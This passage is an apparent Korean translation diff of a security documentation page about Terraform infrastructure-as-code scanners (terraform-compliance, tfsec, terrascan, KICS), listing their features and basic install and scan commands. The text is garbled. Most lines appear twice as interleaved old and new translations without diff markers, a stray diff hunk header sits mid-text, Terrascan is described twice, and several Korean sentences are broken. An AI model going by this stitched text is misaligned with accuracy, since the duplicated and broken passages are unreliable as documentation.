- **compliance:** 구현된 코드가 보안 표준 및 사용자 정의 표준을 따르는지 확인합니다.
- **behaviour driven development:** 거의 모든 것에 대해 BDD가 있는데, IaC에 대해서는 왜 안 될까요?
- **portable:** `pip`에서 설치하거나 `docker`를 통해 실행하기만 하면 됩니다. [설치](https://terraform-compliance.com/pages/installation/)를 참조하세요.
- **pre-deploy:** 배포되기 전에 코드를 검증합니다.
- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git )에서 실행할 수 있습니다.
- **segregation of duty:** 별도의 팀이 책임지는 다른 리포지토리에 테스트를 보관할 수 있습니다.
- **compliance:** 구현된 코드가 보안 표준 및 자체 커스텀 표준을 준수하는지 확인
- **behaviour driven development:** 우리는 거의 모든 것에 대해 BDD를 사용합니다. IaC에는 왜 사용하지 않나요?
- **portable:** `pip`에서 설치하거나 `docker`로 실행하면 됩니다. See [Installation](https://terraform-compliance.com/pages/installation/)
- **pre-deploy:** 코드가 배포되기 전에 검증합니다
- **easy to integrate:** 파이프라인(또는 git hooks)에서 실행되어 모든 배포가 검증되도록 할 수 있습니다.
- **segregation of duty:** 테스트를 별도 리포지토리에 보관하여 다른 팀이 책임지도록 할 수 있습니다.
> [!NOTE]
> 불행히도 코드가 접근할 수 없는 일부 제공자를 사용하고 있다면 `terraform plan`을 수행고 이 도구를 실행할 수 없습니다.
> 안타깝게도 코드가 당신이 접근할 수 없는 일부 providers를 사용하고 있다면 `terraform plan`을 수행할 수 없고 이 도구를 실행할 수 없습니다.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
@@ -322,44 +348,57 @@ terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 잠재적인 잘못된 구성을 발견하기 위해 terraform 코드 정적 분석니다.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 terraform 코드에 대한 정적 분석을 통해 잠재적인 구성 오류를 찾아냅니다.
- ☁️ 모든 주요 (및 일부 부수적인) 클라우드 제공업체에서 잘못된 구성을 확인합니다.
- ☁️ 모든 주요(및 일부 마이너) 클라우드 공급자에 대한 구성 오류를 검사합니다
- ⛔ 수백 개의 내장 규칙
- 🪆 모듈 스캔 (로컬 및 원격)
- HCL 표현식과 리터럴 값을 평가합니다.
- ↪️ Terraform 함수 예: `concat()` 평가합니다.
- 🔗 Terraform 리소스 간의 관계를 평가합니다.
- 🧰 Terraform CDK와 호환됩니다.
- 🙅 사용자 정의 Rego 정책을 적용하고 장식합니다.
- 📃 여러 출력 형식을 지원합니다: lovely (기본값), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ 구성 가능 (CLI 플래그 및/또는 구성 파일을 통해)
- ⚡ 매우 빠르며, 대규모 리포지토리를 신속하게 스캔할 수 있습니다.
- 🪆 모듈(로컬 및 원격)을 스캔합니다
- HCL 식과 리터럴 값을 평가합니다
- ↪️ Terraform 함수(예: `concat()`)를 평가합니다
- 🔗 Terraform 리소스 간의 관계를 평가합니다
- 🧰 Terraform CDK와 호환됩니다
- 🙅 사용자 정의 Rego 정책을 적용(및 보완)합니다
- 📃 여러 출력 형식을 지원합니다: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ CLI 플래그 및/또는 설정 파일을 통해 구성할 수 있습니다
- ⚡ 매우 빠르며 대규모 리포지토리를 빠르게 스캔할 수 있습니다
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
- infrastructure as code의 구성 오류를 원활하게 스캔합니다.
- 프로비저닝된 cloud infrastructure를 모니터링하여 posture drift를 초래하는 구성 변경을 감지하고, 안전한 상태로 되돌릴 수 있게 합니다.
- 보안 취약점 및 규정 준수 위반을 탐지합니다.
- cloud native infrastructure를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD에 통합할 수 있는 유연성을 제공합니다.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
**KICS**를 사용하여 인프라 코드의 개발 주기 초기에 보안 취약점, 컴플라이언스 문제 및 인프라 구성 오류를 찾아세요.
Checkmarx의 **KICS**로 개발 사이클 초기에 infrastructure-as-code의 보안 취약점, 규정 준수 문제 및 인프라 구성 오류를 찾아세요.
**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자, 오픈 소스이 모든 클라우드 네이티브 프로젝트에 필수적입니다.
**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자이며, 오픈 소스이 모든 cloud native 프로젝트에 필수적입니다.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 코드로서의 인프라에 대한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다:
From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 Infrastructure as Code를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 할 수 있습니다:
- 잘못된 구성을 위해 코드로서의 인프라를 원활하게 스캔합니다.
- 구성 변경으로 인한 포지션 드리프트를 모니터링하고, 안전한 포지션으로 되돌릴 수 있게 합니다.
- 보안 취약점 및 규정 준수 위반을 감지합니다.
- Infrastructure as Code의 잘못된 구성(misconfigurations)을 원활하게 스캔합니다.
- 프로비저닝된 클라우드 인프라에서 보안 태세 변동을 유발하는 구성 변경을 모니터링하고, 안전한 태세로 되돌릴 수 있게 합니다.
- 보안 취약점과 컴플라이언스 위반을 감지합니다.
- 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다.
- 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다.
```bash
brew install terrascan
```
## References
## 참고자료
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)